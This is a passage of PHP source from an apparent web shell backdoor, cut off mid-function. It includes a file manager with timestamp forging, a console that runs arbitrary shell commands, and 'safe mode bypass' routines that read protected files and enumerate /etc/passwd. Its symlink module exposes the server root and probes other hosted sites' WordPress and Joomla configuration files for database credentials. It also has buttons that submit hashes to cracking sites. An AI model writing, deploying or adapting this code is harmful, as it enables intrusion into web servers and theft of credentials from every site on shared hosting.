<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array(\'name\' => $dirContent[$i],
					 \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
					 \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),
					 \'perms\' => BOFFPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),
					 \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
					 \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
					 \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array(\'type\' => \'file\'));
		elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));
		elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&& ($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
	}
	$GLOBALS[\'sort\'] = $sort;
	function BOFFCmp($a, $b) {
		if($GLOBALS[\'sort\'][0] != \'size\')
			return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);
		else
			return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
	}
	usort($files, "BOFFCmp");
	usort($dirs, "BOFFCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" title=\' . $f[\'link\'] . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?BOFFViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
			.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=a value=\'FilesMan\'>
	<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>
	<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
	<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";
    if(class_exists(\'ZipArchive\'))
        echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";
    echo "<option value=\'tar\'>Compress (tar.gz)</option>";
    if(!empty($_SESSION[\'act\']) && @count($_SESSION[\'f\']))
        echo "<option value=\'paste\'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_SESSION[\'act\']) && @count($_SESSION[\'f\']) && (($_SESSION[\'act\'] == \'zip\') || ($_SESSION[\'act\'] == \'tar\')))
        echo "file name: <input type=text name=p2 value=\'BOFF_" . date("Ymd_His") . "." . ($_SESSION[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";
    echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";
	BOFFFooter();
}

function actionStringTools() {
	if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		\'Base64 encode\' => \'base64_encode\',
		\'Base64 decode\' => \'base64_decode\',
		\'Url encode\' => \'urlencode\',
		\'Url decode\' => \'urldecode\',
		\'Full urlencode\' => \'full_urlencode\',
		\'md5 hash\' => \'md5\',
		\'sha1 hash\' => \'sha1\',
		\'crypt\' => \'crypt\',
		\'CRC32\' => \'crc32\',
		\'ASCII to HEX\' => \'ascii2hex\',
		\'HEX to ASCII\' => \'hex2ascii\',
		\'HEX to DEC\' => \'hexdec\',
		\'HEX to BIN\' => \'hex2bin\',
		\'DEC to HEX\' => \'dechex\',
		\'DEC to BIN\' => \'decbin\',
		\'BIN to HEX\' => \'binhex\',
		\'BIN to DEC\' => \'bindec\',
		\'String to lower case\' => \'strtolower\',
		\'String to upper case\' => \'strtoupper\',
		\'Htmlspecialchars\' => \'htmlspecialchars\',
		\'String length\' => \'strlen\',
	);
	if(isset($_POST[\'ajax\'])) {
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
		ob_start();
		if(in_array($_POST[\'p1\'], $stringTools))
			echo $_POST[\'p1\']($_POST[\'p2\']);
		$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
	BOFFHeader();
	echo \'<h1>String conversions</h1><div class=content>\';
	if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
	echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
	foreach($stringTools as $k => $v)
		echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
		echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
	if(!empty($_POST[\'p1\'])) {
		if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
	}
	echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>
			<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>
			<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>
			<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>
			<tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>
			</table></form>";

	function BOFFRecursiveGlob($path) {
		if(substr($path, -1) != \'/\')
			$path.=\'/\';
		$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						BOFFRecursiveGlob($item);
				} else {
					if(@strpos(@file_get_contents($item), @$_POST[\'p2\'])!==false)
						echo "<a href=\'#\' onclick=\'g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")\'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST[\'p3\'])
		BOFFRecursiveGlob($_POST[\'c\']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method=\'post\' target=\'_blank\' name=\'hf\'>
			<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>
			<input type=\'button\' value=\'hashcrack.com\' onclick=\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'milw0rm.com\' onclick=\"document.hf.action=\'http://www.milw0rm.com/cracker/search.php\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'hashcracking.info\' onclick=\"document.hf.action=\'https://hashcracking.info/index.php\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'md5.blacknoize.com\' onclick=\"document.hf.action=\'http://md5.blacknoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'md5decrypter.com\' onclick=\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\"><br>
		</form></div>";
	BOFFFooter();
}

function actionFilesTools() {
	if( isset($_POST[\'p1\']) )
		$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
	if(@$_POST[\'p2\']==\'download\') {
		if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST[\'p1\']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST[\'p1\'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST[\'p2\'] == \'mkfile\' ) {
		if(!file_exists($_POST[\'p1\'])) {
			$fp = @fopen($_POST[\'p1\'], \'w\');
			if($fp) {
				$_POST[\'p2\'] = "edit";
				fclose($fp);
			}
		}
	}
	BOFFHeader();
	echo \'<h1>File tools</h1><div class=content>\';
	if( !file_exists(@$_POST[\'p1\']) ) {
		echo \'File not exist\';
		BOFFFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
	if(!$uid) {
		$uid[\'name\'] = @fileowner($_POST[\'p1\']);
		$gid[\'name\'] = @filegroup($_POST[\'p1\']);
	} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));
	echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?BOFFViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.BOFFPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
	echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
	if( empty($_POST[\'p2\']) )
		$_POST[\'p2\'] = \'view\';
	if( is_file($_POST[\'p1\']) )
		$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
	else
		$m = array(\'Chmod\', \'Rename\', \'Touch\');
	foreach($m as $v)
		echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
	echo \'<br><br>\';
	switch($_POST[\'p2\']) {
		case \'view\':
			echo \'<pre class=ml1>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</pre>\';
			break;
		case \'highlight\':
			if( @is_readable($_POST[\'p1\']) ) {
				echo \'<div class=ml1 style="background-color: #00C000;color:#6b6b6b;">\';
				$code = @highlight_file($_POST[\'p1\'],true);
				echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
			}
			break;
		case \'chmod\':
			if( !empty($_POST[\'p3\']) ) {
				$perms = 0;
				for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
					$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
				if(!@chmod($_POST[\'p1\'], $perms))
					echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
			}
			clearstatcache();
			echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
			break;
		case \'edit\':
			if( !is_writable($_POST[\'p1\'])) {
				echo \'File isn\'t writeable\';
				break;
			}
			if( !empty($_POST[\'p3\']) ) {
				$time = @filemtime($_POST[\'p1\']);
				$_POST[\'p3\'] = substr($_POST[\'p3\'],1);
				$fp = @fopen($_POST[\'p1\'],"w");
				if($fp) {
					@fwrite($fp,$_POST[\'p3\']);
					@fclose($fp);
					echo \'Saved!<br><script>p3_="";</script>\';
					@touch($_POST[\'p1\'],$time,$time);
				}
			}
			echo \'<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\';
			$fp = @fopen($_POST[\'p1\'], \'r\');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo \'</textarea><input type=submit value=">>"></form>\';
			break;
		case \'hexdump\':
			$c = @file_get_contents($_POST[\'p1\']);
			$n = 0;
			$h = array(\'00000000<br>\',\'\',\'\');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= \' \'; break;
					case 9:  $h[2] .= \' \'; break;
					case 10: $h[2] .= \' \'; break;
					case 13: $h[2] .= \' \'; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
					$h[1] .= \'<br>\';
					$h[2] .= "
";
				}
		 	}
			echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#000000><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#000000><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
			break;
		case \'rename\':
			if( !empty($_POST[\'p3\']) ) {
				if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
					echo \'Can\'t rename!<br>\';
				else
					die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
			}
			echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
			break;
		case \'touch\':
			if( !empty($_POST[\'p3\']) ) {
				$time = strtotime($_POST[\'p3\']);
				if($time) {
					if(!touch($_POST[\'p1\'],$time,$time))
						echo \'Fail!\';
					else
						echo \'Touched!\';
				} else echo \'Bad time format!\';
			}
			clearstatcache();
			echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
			break;
	}
	echo \'</div>\';
	BOFFFooter();
}

function actionSafeMode() {
	$temp=\'\';
	ob_start();
	switch($_POST[\'p1\']) {
		case 1:
			$temp=@tempnam($test, \'cx\');
			if(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo \'Sorry... Can\'t open file\';
			break;
		case 2:
			$files = glob($_POST[\'p2\'].\'*\');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."
";
			break;
		case 3:
			$ch = curl_init("file://".$_POST[\'p2\']."".preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__));
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST[\'p2\']);
			break;
		case 5:
			for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {
				$uid = @posix_getpwuid($_POST[\'p2\']);
				if ($uid)
					echo join(\':\',$uid)."
";
			}
			break;
	}
	$temp = ob_get_clean();
	BOFFHeader();
	echo \'<h1>Safe mode bypass</h1><div class=content>\';
	echo \'<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';
	if($temp)
		echo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.htmlspecialchars($temp).\'</pre>\';
	echo \'</div>\';
	BOFFFooter();
}

function actionConsole() {
    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\'] = true;
        $_POST[\'p1\'] .= \' 2>&1\';
    } elseif(!empty($_POST[\'p1\']))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\'] = false;

	if(isset($_POST[\'ajax\'])) {
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
		ob_start();
		echo "d.cf.cmd.value=\'\';
";
		$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".BOFFEx($_POST[\'p1\']),"

	\\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS[\'cwd\'] = @getcwd();
				echo "c_=\'".$GLOBALS[\'cwd\']."\';";
			}
		}
		echo "d.cf.output.value+=\'".$temp."\';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
	BOFFHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array(\'\');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push(\'\');
	cur = cmds.length-1;
}
</script>";
	echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>\';
	foreach($GLOBALS[\'aliases\'] as $n => $v) {
		if($v == \'\') {
			echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
			continue;
		}
		echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
	}
	if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
	echo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> blackirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';
	if(!empty($_POST[\'p1\'])) {
		echo htmlspecialchars("$ ".$_POST[\'p1\']."
".BOFFEx($_POST[\'p1\']));
	}
	echo \'</textarea><table style="border:1px solid #6b6b6b;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';
	echo \'</form></div><script>d.cf.cmd.focus();</script>\';
	BOFFFooter();
}

function actionSymlink() {
    BOFFHeader();
    echo \'<h1>Symlink</h1>\';
    $furl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
    $expld = explode(\'/\',$furl );
    $burl =str_replace(end($expld),\'\',$furl);  
    
    echo \'<div class="content"><center>
                <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] - 
                    [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config File symlink</a> ]</h3></center>\';
    
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'website\')
    {
        echo "<center>";
        $d0mains = @file("/etc/named.conf");
        if(!$d0mains){ 
            echo "<pre class=ml1 style=\'margin-top:5px\'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
        } else {
            echo "<table align=center class=\'main\' border=0 ><tr bgcolor=\"#000000\"><td>Count</td><td>domains</td><td>users</td></tr>";
            $count=1;
            foreach($d0mains as $d0main){
                if(@eregi("zone",$d0main)){
                    preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
                    flush();
                    if(strlen(trim($domains[1][0])) > 2){
                        $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
                        echo "<tr><td>".$count."</td><td><a href=http://".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user[\'name\']."</td></tr>";
                        flush();
                        $count++;
                    }
                }
            }
            echo "</table>";
        }
        echo "</center>"; 
    }
 
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'whole\')
    {
        echo "<center>";
        @mkdir(\'sym\',0777);
        $hdt  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $hfp =@fopen (\'sym/.htaccess\',\'w\');
        fwrite($hfp ,$hdt);
        if(function_exists(\'symlink\')) {
            @symlink(\'/\',\'sym/root\');
        }
        $d0mains = @file(\'/etc/named.conf\');
        if(!$d0mains) {
            echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
        } else {
            echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr bgcolor=\"#000000\"><td> Count </td><td> Domains </td><td> User </td><td> Symlink </td></tr>";
            $count=1;
            foreach($d0mains as $d0main){
                if(@eregi(\'zone\',$d0main)){
                    preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
                    flush();
                    if(strlen(trim($domain[1][0])) >2){
                        $user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain[1][0]));
                        $ddt = $user[\'name\'] ;
                        @symlink(\'/\',\'sym/root\');
                        $ddt = $domain[1][0];
                        if(@eregi("\.ir",$domain[1][0]) or @eregi("\.il",$domain[1][0])) {
                            $ddt = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px #6b6b6b; \'>".$domain[1][0].\'</div>\';
                        }
                        echo "<tr><td>".$count++."</td><td><a target=\'_blank\' href=http://".$domain[1][0].\'/>\'.$ddt.\' </a></td><td>\'.$user[\'name\']."</td><td><a href=\'sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'>symlink </a></td></tr>";
                        flush();
                    }
                }
            }
        }
        echo "</center></table>";    
    }
 
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'config\')
    {
        echo "<center>";
        @mkdir(\'sym\',0777);
        $hdt = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $hfp = @fopen (\'sym/.htaccess\',\'w\');
        @fwrite($hfp ,$hdt);
        if(function_exists(\'symlink\')) {
            @symlink(\'/\',\'sym/root\');
        }
        $d0mains = @file(\'/etc/named.conf\');
        if(!$d0mains) {
            echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
        } else {
            echo "<table align=\'center\' width=\'40%\' class=\'main\' ><tr bgcolor=\"#000000\"><td> Count </td><td> Domains </td><td> Script </td></tr>";
            $count = 1;
            foreach($d0mains as $d0main){
                if(@eregi(\'zone\',$d0main)){
                    preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
                    flush();
                    if(strlen(trim($domain[1][0]))>2){
                        $user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain[1][0]));

                        $c1 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/wp-config.php\';
                        $ch01 = get_headers($c1);
                        $cf01 = $ch01[0];
                        $c2 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/blog/wp-config.php\';
                        $ch02 = get_headers($c2);
                        $cf02 = $ch02[0];
                        $c3 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/configuration.php\';
                        $ch03 = get_headers($c3);
                        $cf03 = $ch03[0];
                        $c4 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/joomla/configuration.php\';
                        $ch04 = get_headers($c4);
                        $cf04 = $ch04[0];
                        $c5 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/includes/config.php\';
                        $ch05 = get_headers($c5);
                        $cf05 = $ch05[0];
                        $c6 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/vb/includes/config.php\';
                        $ch06 = get_headers($c6);
                        $cf06 = $ch06[0];
                        $c7 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/forum/includes/config.php\';
                        $ch07 = get_headers($c7);
                        $cf07 = $ch07[0];
                        $c8 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'public_html/clients/configuration.php\';
                        $ch08 = get_headers($c8);
                        $cf08 = $ch08[0];
                        $c9 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/support/configuration.php\';
                        $ch09 = get_headers($c9);
                        $cf09 = $ch09[0];
                        $c10 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
                        $ch10 = get_headers($c10);
                        $cf10 = $ch10[0];
                        $c11 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/submitticket.php\';
                        $ch11 = get_headers($c11);
                        $cf11 = $ch11[0];
                        $c12 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
                        $ch12 = get_headers($c12);
                        $cf12 = $ch12[0];
